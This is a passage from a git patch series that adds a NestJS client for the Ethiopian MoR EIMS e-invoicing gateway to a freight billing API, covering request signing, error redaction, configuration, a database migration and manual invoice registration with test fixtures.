from "./eims.types"; + +/** + * Signs EIMS request objects, reproducing the process that produced a working live access token: + * + * 1. compact `JSON.stringify` of the **inner** request object only, + * 2. those exact UTF-8 bytes, + * 3. RSA + SHA-512 (`SHA512withRSA`, PKCS#1 v1.5 — Node's default RSA padding), + * 4. base64 of the raw signature bytes (256 bytes for an RSA-2048 key), + * 5. base64 of the certificate file's exact bytes. + * + * The outer `{request, signature, certificate}` envelope is never itself signed, and the request + * object is never mutated after serialization. + */ +@Injectable() +export class EimsSignerService { + constructor(private readonly credentials: EimsCredentialsProvider) {} + + signRequest(request: T): EimsSignedRequest { + const payload = JSON.stringify(request); + const signature = createSign("RSA-SHA512") + .update(payload, "utf8") + .sign(this.credentials.getPrivateKey(), "base64"); + + return { request, signature, certificate: this.credentials.getCertificateBase64() }; + } +} + +/** + * Exact wire body for a signed envelope. Serializing here (rather than handing axios an object) + * keeps one serializer in play: the `request` segment of this string is byte-identical to the + * string that was signed. + */ +export const toSignedBody = (signed: EimsSignedRequest): string => JSON.stringify(signed); diff --git a/apps/edr-freight-api/src/modules/eims/eims.errors.ts b/apps/edr-freight-api/src/modules/eims/eims.errors.ts new file mode 100644 index 000000000..3be21fdd3 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims.errors.ts @@ -0,0 +1,89 @@ +import { BadGatewayException, ServiceUnavailableException } from "@nestjs/common"; +import { AxiosError } from "axios"; +import { EimsErrorResponse } from "./eims.types"; + +export type EimsFailureKind = + | "NETWORK" + | "TIMEOUT" + | "SCHEMA_VALIDATION" + | "AUTH" + | "FORBIDDEN" + | "RULE_VALIDATION" + | "SERVER" + | "UNKNOWN"; + +/** Raised when EIMS is disabled or its credential files are unusable. */ +export class EimsConfigException extends ServiceUnavailableException { + constructor(message: string) { + super({ code: "EIMS_NOT_CONFIGURED", message }); + } +} + +/** + * A failed EIMS call. Carries only the gateway's own error reporting — never the request body, + * signature, certificate, bearer token or any configured secret. + */ +export class EimsApiException extends BadGatewayException { + constructor( + readonly kind: EimsFailureKind, + message: string, + readonly httpStatus?: number, + readonly details?: EimsErrorResponse, + ) { + super({ code: `EIMS_${kind}`, message }); + } +} + +const SAFE_KEYS = ["message", "statusCode", "code", "details", "body"] as const; + +/** + * Keep only the gateway's error-reporting fields. Anything else a response might carry — an echoed + * request, a token, a signature — is dropped before it can reach a log or an exception payload. + */ +export function redactEimsBody(data: unknown): EimsErrorResponse | undefined { + if (!data || typeof data !== "object") return undefined; + const source = data as Record; + const safe: Record = {}; + for (const key of SAFE_KEYS) { + if (source[key] !== undefined) safe[key] = source[key]; + } + return Object.keys(safe).length > 0 ? (safe as EimsErrorResponse) : undefined; +} + +const kindFor = (status: number): EimsFailureKind => { + if (status === 400) return "SCHEMA_VALIDATION"; + if (status === 401) return "AUTH"; + if (status === 403) return "FORBIDDEN"; + if (status === 406) return "RULE_VALIDATION"; + if (status >= 500) return "SERVER"; + return "UNKNOWN"; +}; + +/** First error line the gateway gives us, whichever shape it used. */ +const describe = (body: EimsErrorResponse | undefined): string => { + if (!body) return "no error body"; + const detail = body.details?.find((d) => d.errorMessage)?.errorMessage; + return [body.message, body.code && `code=${body.code}`, detail].filter(Boolean).join(" ") || "no error body"; +}; + +/** + * Normalise anything thrown by an EIMS HTTP call into an `EimsApiException`. `operation` is a + * short label such as `"login"` or `"POST /v1/register"` — never a payload. + */ +export function toEimsApiException(err: unknown, operation: string): EimsApiException { + if (err instanceof EimsApiException) return err; + + if (err instanceof AxiosError) { + if (err.code === "ECONNABORTED" || err.code === "ETIMEDOUT") { + return new EimsApiException("TIMEOUT", `EIMS ${operation} timed out`); + } + if (!err.response) { + return new EimsApiException("NETWORK", `EIMS ${operation} could not reach the gateway (${err.code ?? "no code"})`); + } + const status = err.response.status; + const body = redactEimsBody(err.response.data); + return new EimsApiException(kindFor(status), `EIMS ${operation} failed (${status}): ${describe(body)}`, status, body); + } + + return new EimsApiException("UNKNOWN", `EIMS ${operation} failed: ${(err as Error)?.message ?? "unknown error"}`); +} diff --git a/apps/edr-freight-api/src/modules/eims/eims.module.ts b/apps/edr-freight-api/src/modules/eims/eims.module.ts new file mode 100644 index 000000000..4c953c14e --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims.module.ts @@ -0,0 +1,19 @@ +import { HttpModule } from "@nestjs/axios"; +import { Module } from "@nestjs/common"; +import { EimsAuthService } from "./eims-auth.service"; +import { EimsClientService } from "./eims-client.service"; +import { EimsCredentialsProvider } from "./eims-credentials.provider"; +import { EimsSignerService } from "./eims-signer.service"; + +/** + * MoR EIMS e-invoicing transport. Exports only what other modules will consume; the credential + * loader and signer stay internal so the private key has exactly one user. + */ +@Module({ + imports: [ + HttpModule.register({ timeout: Number(process.env.EIMS_HTTP_TIMEOUT_MS) || 30_000 }), + ], + providers: [EimsCredentialsProvider, EimsSignerService, EimsAuthService, EimsClientService], + exports: [EimsAuthService, EimsClientService], +}) +export class EimsModule {} diff --git a/apps/edr-freight-api/src/modules/eims/eims.types.ts b/apps/edr-freight-api/src/modules/eims/eims.types.ts new file mode 100644 index 000000000..6e74604bd --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims.types.ts @@ -0,0 +1,46 @@ +/** + * Wire types for the MoR EIMS gateway, taken from the supplied Postman collection. + * + * Every protected payload is the same envelope: the business object under `request`, a base64 + * RSA-SHA512 signature over the *inner* object only, and the base64 certificate bundle. + */ +export interface EimsSignedRequest { + request: T; + signature: string; + certificate: string; +} + +/** Inner request of `POST /auth/login`. Note the lowercase `apikey` — that is the wire name. */ +export interface EimsLoginRequest { + clientId: string; + clientSecret: string; + apikey: string; + tin: string; +} + +export interface EimsLoginData { + accessToken: string; + refreshToken: string; + /** Observed as a UUID on login and `null` on refresh; unused today. */ + encryptionKey: string | null; + /** Seconds. Observed value: 3600. */ + expiresIn: number; +} + +export interface EimsLoginResponse { + data: EimsLoginData; + status: string; +} + +/** + * Error bodies differ per failure mode: gateway errors carry `message`/`code`/`details`, + * schema errors carry a JSON-Schema violation array under `body`, rule errors carry + * `[{portion, errorMessage[]}]` under `body`. Only these fields are ever surfaced or logged. + */ +export interface EimsErrorResponse { + message?: string; + statusCode?: number; + code?: string; + details?: { errorMessage?: string; field?: string }[]; + body?: unknown; +} diff --git a/apps/edr-freight-api/src/scripts/eims-login.ts b/apps/edr-freight-api/src/scripts/eims-login.ts new file mode 100644 index 000000000..f9cc60d27 --- /dev/null +++ b/apps/edr-freight-api/src/scripts/eims-login.ts @@ -0,0 +1,40 @@ +import "dotenv/config"; +import axios from "axios"; +import { HttpService } from "@nestjs/axios"; +import { ConfigService } from "@nestjs/config"; +import eimsConfig, { EimsConfig } from "../config/eims.config"; +import { EimsAuthService } from "../modules/eims/eims-auth.service"; +import { EimsCredentialsProvider } from "../modules/eims/eims-credentials.provider"; +import { EimsSignerService } from "../modules/eims/eims-signer.service"; + +/** + * Manual, developer-run live check of EIMS authentication. + * + * Run explicitly: pnpm --filter @edr/freight-api eims:login + * + * Reads credentials from the local .env only. Never runs at boot, never runs in the test suite, + * and prints no token, secret, signature or certificate — only whether login succeeded. + */ +async function main(): Promise { + const config = eimsConfig() as EimsConfig; + if (!config.enabled) { + throw new Error("EIMS_ENABLED is not true — set it in .env before running this check"); + } + + const configService = { get: () => config } as unknown as ConfigService; + const http = new HttpService(axios.create()); + const credentials = new EimsCredentialsProvider(configService); + const auth = new EimsAuthService(http, configService, new EimsSignerService(credentials)); + + console.log(`POST ${config.baseUrl}/auth/login (tin=${config.tin})`); + const token = await auth.getValidAccessToken(); + console.log(`✔ login succeeded — access token received (${token.length} chars, not printed)`); + + const cached = await auth.getValidAccessToken(); + console.log(`✔ second call served from cache: ${cached === token}`); +} + +main().catch((err: Error) => { + console.error(`✘ ${err.message}`); + process.exitCode = 1; +}); From 75730190381474fb59039b0c6975e486c6329fb8 Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Fri, 7 Aug 2026 13:22:46 +0000 Subject: [PATCH 13/18] feat(eims): register invoices with MoR EIMS and persist the outcome Add manual single-invoice registration, verification and reconciliation. Nothing submits automatically; invoice creation is untouched. Sequencing uses a durable reservation. The counter is consumed and the holder recorded in a committed transaction before the request leaves the process, and the HTTP call runs outside every transaction. A counter is therefore never reused once an attempt begins, a crash mid-flight leaves the reservation standing instead of inviting a blind resubmission, and an ambiguous result blocks the whole system number rather than one invoice -- PreviousIrn is unknown, so any later document would chain to a stale IRN. Deterministic rejections (400/406/401/403) mark the invoice FAILED and clear the block. Timeouts and 5xx mark it UNKNOWN and keep it. Since /v1/verify takes an IRN we never received in that case, POST :id/eims/resolve is the exit: record the IRN confirmed in the MoR portal, or discard. A recorded IRN is verified against the gateway first and refused unless EIMS reports it against this invoice's document number. Business and tax configuration is validated locally before anything is locked, allocated or sent, so a missing tax code fails naming the exact environment variables instead of at the gateway. No tax value is defaulted. Filing gets its own permission (invoices:eims_register) rather than riding on invoices:export -- registration is irreversible at MoR and must not follow from the right to download a PDF. Co-Authored-By: Claude Opus 5 --- .../edr-freight-api/src/config/eims.config.ts | 77 +++ .../3300000000000-EimsInvoiceRegistration.ts | 73 +++ .../billing/entities/invoice.entity.ts | 24 + .../eims/dto/resolve-eims-registration.dto.ts | 25 + .../modules/eims/eims-auth.service.spec.ts | 31 +- .../src/modules/eims/eims-client.service.ts | 19 +- .../src/modules/eims/eims-invoice-context.ts | 114 ++++ .../eims-invoice-registration.service.spec.ts | 507 ++++++++++++++++++ .../eims/eims-invoice-registration.service.ts | 472 ++++++++++++++++ .../modules/eims/eims-invoice.controller.ts | 60 +++ .../modules/eims/eims-registration.types.ts | 87 +++ .../src/modules/eims/eims.module.ts | 24 +- .../eims/entities/eims-system-state.entity.ts | 42 ++ .../src/seed/freight-permissions.registry.ts | 8 + 14 files changed, 1555 insertions(+), 8 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/3300000000000-EimsInvoiceRegistration.ts create mode 100644 apps/edr-freight-api/src/modules/eims/dto/resolve-eims-registration.dto.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-registration.types.ts create mode 100644 apps/edr-freight-api/src/modules/eims/entities/eims-system-state.entity.ts diff --git a/apps/edr-freight-api/src/config/eims.config.ts b/apps/edr-freight-api/src/config/eims.config.ts index 37cbbc84b..4e8684a5b 100644 --- a/apps/edr-freight-api/src/config/eims.config.ts +++ b/apps/edr-freight-api/src/config/eims.config.ts @@ -26,6 +26,44 @@ export interface EimsConfig { httpTimeoutMs: number; /** Re-authenticate this many ms before the access token actually expires. */ tokenSkewMs: number; + /** + * Seller identity and tax/business treatment for the invoice document. + * + * None of this is derivable from the database: EDR's own legal identity exists nowhere in the + * codebase, and the app models no tax at all. Values are required at registration time and are + * validated there rather than at boot, so a deployment can run with EIMS enabled for + * authentication before finance has signed off on the tax treatment. + */ + invoice: EimsInvoiceConfig; +} + +export interface EimsInvoiceConfig { + sellerLegalName: string; + sellerVatNumber: string; + sellerPhone: string; + sellerEmail: string; + /** MoR *codes*, not names (e.g. "13" for Addis Ababa, "574"). */ + sellerRegion: string; + sellerWereda: string; + sellerCity: string | null; + sellerSubCity: string | null; + sellerHouseNumber: string | null; + sellerLocality: string | null; + /** REQUIRES_BUSINESS_CONFIRMATION — no tax model exists in this application. */ + taxCode: string; + taxRatePercent: number | null; + exciseTaxValue: number | null; + incomeWithholdValue: number | null; + transactionWithholdValue: number | null; + /** B2B / B2C — a tax classification, so it is configured, not inferred. */ + transactionType: string; + natureOfSupplies: string; + paymentMode: string; + paymentTerm: string; + unitDefault: string; + buyerCountryCode: string | null; + cashierName: string | null; + salesPersonName: string | null; } const REQUIRED_VARS = [ @@ -46,6 +84,14 @@ const positiveInt = (raw: string | undefined, fallback: number, name: string): n return value; }; +/** Unset stays null so the registration-time check can name it; a set-but-bogus value throws. */ +const optionalNumber = (raw: string | undefined, name: string): number | null => { + if (raw === undefined || raw === "") return null; + const value = Number(raw); + if (!Number.isFinite(value)) throw new Error(`${name} must be a number`); + return value; +}; + export default registerAs("eims", (): EimsConfig => { const enabled = (process.env.EIMS_ENABLED ?? "false").toLowerCase() === "true"; const baseUrl = (process.env.EIMS_BASE_URL ?? "https://core.mor.gov.et").replace(/\/+$/, ""); @@ -66,6 +112,37 @@ export default registerAs("eims", (): EimsConfig => { certificatePath: process.env.EIMS_CERTIFICATE_PATH ?? "", httpTimeoutMs, tokenSkewMs, + invoice: { + sellerLegalName: process.env.EIMS_SELLER_LEGAL_NAME ?? "", + sellerVatNumber: process.env.EIMS_SELLER_VAT_NUMBER ?? "", + sellerPhone: process.env.EIMS_SELLER_PHONE ?? "", + sellerEmail: process.env.EIMS_SELLER_EMAIL ?? "", + sellerRegion: process.env.EIMS_SELLER_REGION ?? "", + sellerWereda: process.env.EIMS_SELLER_WEREDA ?? "", + sellerCity: process.env.EIMS_SELLER_CITY || null, + sellerSubCity: process.env.EIMS_SELLER_SUBCITY || null, + sellerHouseNumber: process.env.EIMS_SELLER_HOUSE_NUMBER || null, + sellerLocality: process.env.EIMS_SELLER_LOCALITY || null, + taxCode: process.env.EIMS_TAX_CODE ?? "", + taxRatePercent: optionalNumber(process.env.EIMS_TAX_RATE_PERCENT, "EIMS_TAX_RATE_PERCENT"), + exciseTaxValue: optionalNumber(process.env.EIMS_EXCISE_TAX_VALUE, "EIMS_EXCISE_TAX_VALUE"), + incomeWithholdValue: optionalNumber( + process.env.EIMS_INCOME_WITHHOLD_VALUE, + "EIMS_INCOME_WITHHOLD_VALUE", + ), + transactionWithholdValue: optionalNumber( + process.env.EIMS_TRANSACTION_WITHHOLD_VALUE, + "EIMS_TRANSACTION_WITHHOLD_VALUE", + ), + transactionType: process.env.EIMS_TRANSACTION_TYPE ?? "", + natureOfSupplies: process.env.EIMS_NATURE_OF_SUPPLIES ?? "", + paymentMode: process.env.EIMS_PAYMENT_MODE ?? "", + paymentTerm: process.env.EIMS_PAYMENT_TERM ?? "", + unitDefault: process.env.EIMS_UNIT_DEFAULT ?? "", + buyerCountryCode: process.env.EIMS_BUYER_COUNTRY_CODE || null, + cashierName: process.env.EIMS_CASHIER_NAME || null, + salesPersonName: process.env.EIMS_SALESPERSON_NAME || null, + }, }; if (!enabled) return base; diff --git a/apps/edr-freight-api/src/migrations/3300000000000-EimsInvoiceRegistration.ts b/apps/edr-freight-api/src/migrations/3300000000000-EimsInvoiceRegistration.ts new file mode 100644 index 000000000..c80dfcd1e --- /dev/null +++ b/apps/edr-freight-api/src/migrations/3300000000000-EimsInvoiceRegistration.ts @@ -0,0 +1,73 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * EIMS registration state. + * + * `freight.invoices` gains the per-invoice registration outcome: which EIMS counter the invoice + * consumed, the returned IRN, and the last failure. The partial unique index on `eims_irn` is the + * database-level guarantee that one IRN can never be recorded against two invoices, independent of + * application logic. + * + * `freight.eims_system_state` is a single row per MoR system number holding the sequence the + * gateway expects: the next `SourceSystem.InvoiceCounter` and the `ReferenceDetails.PreviousIrn` + * of the last successful registration. Registration takes `FOR UPDATE` on this row, so the counter + * and the IRN chain stay consistent under concurrent submissions. + * + * The `in_flight_*` columns make a submission a *durable reservation*: the counter is consumed and + * the holder recorded in a committed transaction before the HTTP call, so a crash mid-flight leaves + * evidence instead of silently freeing the slot for a blind resubmission. `blocked_reason` is set + * when a submission ends ambiguously (timeout, network, 5xx) — the IRN is unknown, so every later + * document for this system number would chain to a stale `PreviousIrn` and registration stops until + * a human resolves it. + * + * `eims_ack_date` is varchar, not timestamptz: EIMS returns a Java ZonedDateTime string + * ("2025-03-21T08:33:32.707753413Z[Etc/UTC]") that no JS date parser accepts. It is stored + * verbatim so a compliance value is never mangled by a parse. + */ +export class EimsInvoiceRegistration3300000000000 implements MigrationInterface { + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.invoices + ADD COLUMN IF NOT EXISTS eims_status varchar(20) NOT NULL DEFAULT 'NOT_SUBMITTED', + ADD COLUMN IF NOT EXISTS eims_irn varchar(64), + ADD COLUMN IF NOT EXISTS eims_invoice_counter bigint, + ADD COLUMN IF NOT EXISTS eims_submitted_at timestamptz, + ADD COLUMN IF NOT EXISTS eims_ack_date varchar(64), + ADD COLUMN IF NOT EXISTS eims_last_error jsonb + `); + + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS ux_invoices_eims_irn + ON freight.invoices (eims_irn) WHERE eims_irn IS NOT NULL + `); + + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS freight.eims_system_state ( + id uuid PRIMARY KEY DEFAULT gen_random_uuid(), + system_number varchar(32) NOT NULL UNIQUE, + next_invoice_counter bigint NOT NULL DEFAULT 1, + previous_irn varchar(64), + in_flight_invoice_id uuid, + in_flight_counter bigint, + blocked_reason text, + created_at timestamptz NOT NULL DEFAULT now(), + updated_at timestamptz NOT NULL DEFAULT now(), + deleted_at timestamptz + ) + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS freight.eims_system_state`); + await queryRunner.query(`DROP INDEX IF EXISTS freight.ux_invoices_eims_irn`); + await queryRunner.query(` + ALTER TABLE freight.invoices + DROP COLUMN IF EXISTS eims_status, + DROP COLUMN IF EXISTS eims_irn, + DROP COLUMN IF EXISTS eims_invoice_counter, + DROP COLUMN IF EXISTS eims_submitted_at, + DROP COLUMN IF EXISTS eims_ack_date, + DROP COLUMN IF EXISTS eims_last_error + `); + } +} diff --git a/apps/edr-freight-api/src/modules/billing/entities/invoice.entity.ts b/apps/edr-freight-api/src/modules/billing/entities/invoice.entity.ts index 23c332f80..c5c000943 100644 --- a/apps/edr-freight-api/src/modules/billing/entities/invoice.entity.ts +++ b/apps/edr-freight-api/src/modules/billing/entities/invoice.entity.ts @@ -1,6 +1,7 @@ import { BaseEntity } from "@edr/api-common"; import { Freight } from "@edr/types"; import { Column, Entity, Index, JoinColumn, ManyToOne } from "typeorm"; +import type { EimsInvoiceError, EimsInvoiceStatus } from "../../eims/eims-registration.types"; import { PaymentEntity } from "../../payment/entities/payment.entity"; import { Company } from "../../companies/entities/company.entity"; import { CompanyProfile } from "../../companies/entities/company-profile.entity"; @@ -105,4 +106,27 @@ export class Invoice extends BaseEntity { @Column({ name: "due_at", type: "timestamptz" }) dueAt!: Date; + + /** MoR EIMS registration state. Set only by the EIMS module; billing never writes these. */ + @Column({ name: "eims_status", type: "varchar", length: 20, default: "NOT_SUBMITTED" }) + eimsStatus!: EimsInvoiceStatus; + + /** Invoice Reference Number returned by EIMS. Unique across invoices (partial index). */ + @Column({ name: "eims_irn", type: "varchar", length: 64, nullable: true }) + eimsIrn?: string | null; + + /** The `SourceSystem.InvoiceCounter` this invoice consumed. */ + @Column({ name: "eims_invoice_counter", type: "bigint", nullable: true }) + eimsInvoiceCounter?: number | null; + + @Column({ name: "eims_submitted_at", type: "timestamptz", nullable: true }) + eimsSubmittedAt?: Date | null; + + /** EIMS acknowledgement timestamp, stored verbatim — it is a Java ZonedDateTime string. */ + @Column({ name: "eims_ack_date", type: "varchar", length: 64, nullable: true }) + eimsAckDate?: string | null; + + /** Sanitized last failure: the gateway's own error fields only, never our signed envelope. */ + @Column({ name: "eims_last_error", type: "jsonb", nullable: true }) + eimsLastError?: EimsInvoiceError | null; } diff --git a/apps/edr-freight-api/src/modules/eims/dto/resolve-eims-registration.dto.ts b/apps/edr-freight-api/src/modules/eims/dto/resolve-eims-registration.dto.ts new file mode 100644 index 000000000..66896fd18 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/dto/resolve-eims-registration.dto.ts @@ -0,0 +1,25 @@ +import { ApiPropertyOptional } from "@nestjs/swagger"; +import { IsBoolean, IsOptional, IsString, Length } from "class-validator"; + +/** + * Manual reconciliation of a submission that was never acknowledged. Exactly one of the two is + * meaningful: supply the IRN confirmed with MoR, or discard the attempt. + */ +export class ResolveEimsRegistrationDto { + @ApiPropertyOptional({ + description: "IRN confirmed in the MoR portal. Records the registration and resumes the chain.", + example: "9fe9bbbece6ab76c112b617534e6aac7aa8b819d5be79f4d3d088ed2e887b2e0", + }) + @IsOptional() + @IsString() + @Length(1, 64) + irn?: string; + + @ApiPropertyOptional({ + description: "Abandon the submission: the invoice is marked FAILED and the chain is unchanged.", + example: true, + }) + @IsOptional() + @IsBoolean() + discard?: boolean; +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts b/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts index 1ff0d0463..75a702e94 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts @@ -2,7 +2,7 @@ import { HttpService } from "@nestjs/axios"; import { ConfigService } from "@nestjs/config"; import { AxiosError, AxiosHeaders } from "axios"; import { of, throwError } from "rxjs"; -import { EimsConfig } from "../../config/eims.config"; +import { EimsConfig, EimsInvoiceConfig } from "../../config/eims.config"; import { EimsAuthService } from "./eims-auth.service"; import { EimsSignerService } from "./eims-signer.service"; @@ -22,6 +22,35 @@ const cfg = (over: Partial = {}): EimsConfig => ({ certificatePath: "/dev/null", httpTimeoutMs: 30_000, tokenSkewMs: 45_000, + invoice: eimsInvoiceConfig(), + ...over, +}); + +/** Authentication never reads these; they exist so the fixture satisfies EimsConfig. */ +export const eimsInvoiceConfig = (over: Partial = {}): EimsInvoiceConfig => ({ + sellerLegalName: "Ethio-Djibouti Railway S.C.", + sellerVatNumber: "0000000000", + sellerPhone: "0911223344", + sellerEmail: "finance@example.et", + sellerRegion: "13", + sellerWereda: "574", + sellerCity: null, + sellerSubCity: null, + sellerHouseNumber: null, + sellerLocality: null, + taxCode: "VAT15", + taxRatePercent: 15, + exciseTaxValue: 0, + incomeWithholdValue: 0, + transactionWithholdValue: 0, + transactionType: "B2B", + natureOfSupplies: "Service", + paymentMode: "CASH", + paymentTerm: "IMMIDIATE", + unitDefault: "PCS", + buyerCountryCode: null, + cashierName: null, + salesPersonName: null, ...over, }); diff --git a/apps/edr-freight-api/src/modules/eims/eims-client.service.ts b/apps/edr-freight-api/src/modules/eims/eims-client.service.ts index 04418cf52..610647b1a 100644 --- a/apps/edr-freight-api/src/modules/eims/eims-client.service.ts +++ b/apps/edr-freight-api/src/modules/eims/eims-client.service.ts @@ -33,17 +33,30 @@ export class EimsClientService { * A 401 invalidates the cached token and retries exactly once. */ async postSigned(path: string, request: TRequest): Promise { - return this.send(path, request, false); + return this.send(path, request, false, true); + } + + /** + * POST `request` verbatim — bearer-authenticated but **not** wrapped in a signed envelope. + * + * `/v1/verify` is the only endpoint observed to work this way: the supplied collection sends a + * raw `{"irn":"…"}` body with no `signature`/`certificate` siblings. Kept as its own entry point + * so that if the live gateway turns out to require signing after all, exactly one call site + * changes — `postSigned` is already the alternative. + */ + async postBearer(path: string, request: TRequest): Promise { + return this.send(path, request, false, false); } private async send( path: string, request: TRequest, isRetry: boolean, + signed: boolean, ): Promise { const cfg = this.cfg; const token = await this.auth.getValidAccessToken(); - const body = toSignedBody(this.signer.signRequest(request)); + const body = signed ? toSignedBody(this.signer.signRequest(request)) : request; try { const res = await firstValueFrom( @@ -58,7 +71,7 @@ export class EimsClientService { if (mapped.kind === "AUTH" && !isRetry) { this.logger.warn(`EIMS rejected the token on ${path}; re-authenticating once`); this.auth.invalidate(); - return this.send(path, request, true); + return this.send(path, request, true, signed); } this.logger.error(mapped.message); throw mapped; diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts new file mode 100644 index 000000000..1a68f2ce4 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice-context.ts @@ -0,0 +1,114 @@ +import { BadRequestException } from "@nestjs/common"; +import { EimsConfig } from "../../config/eims.config"; +import { + EimsMapperContext, + EimsMapperLine, + EimsSellerDetails, +} from "../billing/eims-invoice.mapper"; + +/** + * Turns configuration into the seller identity and mapper context that `toEimsInvoice` requires. + * + * Everything here is unavailable from the database by construction: EDR's own legal identity is not + * modelled anywhere, and the application has no tax model at all (`invoice.taxAmount` is always 0, + * `invoice_lines` and the rate catalogue carry no fiscal columns). Rather than defaulting any of it, + * a missing value fails **here** — locally, before a single byte reaches the gateway — naming the + * exact environment variables to set. + */ + +interface RequiredSpec { + env: string; + value: string | number | null | undefined; +} + +const REQUIRED = (invoice: EimsConfig["invoice"], tin: string, systemNumber: string, systemType: string): RequiredSpec[] => [ + { env: "EIMS_TIN", value: tin }, + { env: "EIMS_SYSTEM_NUMBER", value: systemNumber }, + { env: "EIMS_SYSTEM_TYPE", value: systemType }, + { env: "EIMS_SELLER_LEGAL_NAME", value: invoice.sellerLegalName }, + { env: "EIMS_SELLER_VAT_NUMBER", value: invoice.sellerVatNumber }, + { env: "EIMS_SELLER_PHONE", value: invoice.sellerPhone }, + { env: "EIMS_SELLER_EMAIL", value: invoice.sellerEmail }, + { env: "EIMS_SELLER_REGION", value: invoice.sellerRegion }, + { env: "EIMS_SELLER_WEREDA", value: invoice.sellerWereda }, + { env: "EIMS_TAX_CODE", value: invoice.taxCode }, + { env: "EIMS_TAX_RATE_PERCENT", value: invoice.taxRatePercent }, + { env: "EIMS_INCOME_WITHHOLD_VALUE", value: invoice.incomeWithholdValue }, + { env: "EIMS_TRANSACTION_WITHHOLD_VALUE", value: invoice.transactionWithholdValue }, + { env: "EIMS_TRANSACTION_TYPE", value: invoice.transactionType }, + { env: "EIMS_NATURE_OF_SUPPLIES", value: invoice.natureOfSupplies }, + { env: "EIMS_PAYMENT_MODE", value: invoice.paymentMode }, + { env: "EIMS_PAYMENT_TERM", value: invoice.paymentTerm }, + { env: "EIMS_UNIT_DEFAULT", value: invoice.unitDefault }, +]; + +/** Throws naming every unset variable at once, so one round trip fixes the whole configuration. */ +export function assertEimsInvoiceConfig(config: EimsConfig): void { + const missing = REQUIRED(config.invoice, config.tin, config.systemNumber, config.systemType) + .filter(({ value }) => value === null || value === undefined || value === "") + .map(({ env }) => env); + + if (missing.length > 0) { + throw new BadRequestException({ + code: "EIMS_INVOICE_CONFIG_INCOMPLETE", + message: + "EIMS invoice registration is not configured. Set these environment variables " + + `(tax values need finance sign-off — they are deliberately not defaulted): ${missing.join(", ")}`, + }); + } +} + +export function buildEimsSeller(config: EimsConfig): EimsSellerDetails { + const { invoice } = config; + return { + City: invoice.sellerCity, + Email: invoice.sellerEmail, + HouseNumber: invoice.sellerHouseNumber, + LegalName: invoice.sellerLegalName, + Locality: invoice.sellerLocality, + Phone: invoice.sellerPhone, + Region: invoice.sellerRegion, + SubCity: invoice.sellerSubCity, + Tin: config.tin, + VatNumber: invoice.sellerVatNumber, + Wereda: invoice.sellerWereda, + }; +} + +export interface EimsContextInput { + /** `DocumentDetails.DocumentNumber`. The caller decides its source. */ + documentNumber: string; + invoiceCounter: number; + previousIrn: string | null; + /** Required when the invoice currency is not ETB. */ + exchangeRate?: number | null; +} + +export function buildEimsContext(config: EimsConfig, input: EimsContextInput): EimsMapperContext { + const { invoice } = config; + // Validated by assertEimsInvoiceConfig; the non-null assertions below are safe after that call. + const taxCode = invoice.taxCode; + const ratePercent = invoice.taxRatePercent!; + const exciseTaxValue = invoice.exciseTaxValue ?? 0; + + return { + systemNumber: config.systemNumber, + systemType: config.systemType, + documentNumber: input.documentNumber, + invoiceCounter: input.invoiceCounter, + previousIrn: input.previousIrn, + cashierName: invoice.cashierName, + salesPersonName: invoice.salesPersonName, + transactionType: invoice.transactionType, + payment: { mode: invoice.paymentMode, term: invoice.paymentTerm }, + // One treatment for every line today. The mapper resolves tax per line, so a future + // charge-type-specific rule slots in here without touching the mapper. + taxForLine: (_line: EimsMapperLine) => ({ code: taxCode, ratePercent, exciseTaxValue }), + natureOfSupplies: invoice.natureOfSupplies, + unitDefault: invoice.unitDefault, + incomeWithholdValue: invoice.incomeWithholdValue!, + transactionWithholdValue: invoice.transactionWithholdValue!, + buyerCountryCode: invoice.buyerCountryCode, + exchangeRate: input.exchangeRate ?? null, + }; +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts new file mode 100644 index 000000000..362c754cb --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.spec.ts @@ -0,0 +1,507 @@ +import { BadRequestException, ConflictException } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { DataSource } from "typeorm"; + +import { EimsConfig } from "../../config/eims.config"; +import { Invoice } from "../billing/entities/invoice.entity"; +import { EimsInvoiceRequest } from "../billing/eims-invoice.mapper"; +import { eimsInvoiceConfig } from "./eims-auth.service.spec"; +import { EimsClientService } from "./eims-client.service"; +import { EimsApiException } from "./eims.errors"; +import { EimsInvoiceRegistrationService } from "./eims-invoice-registration.service"; +import { EimsSystemState } from "./entities/eims-system-state.entity"; +import { EimsInvoiceStatus } from "./eims-registration.types"; + +const SYSTEM_NUMBER = "B0360154BA"; +const INVOICE_ID = "11111111-1111-4111-8111-111111111111"; +const OTHER_INVOICE_ID = "22222222-2222-4222-8222-222222222222"; +const IRN = "9fe9bbbece6ab76c112b617534e6aac7aa8b819d5be79f4d3d088ed2e887b2e0"; + +const config = (over: Partial = {}): EimsConfig => + ({ + enabled: true, + baseUrl: "https://core.mor.gov.et", + clientId: "cid", + clientSecret: "secret", + 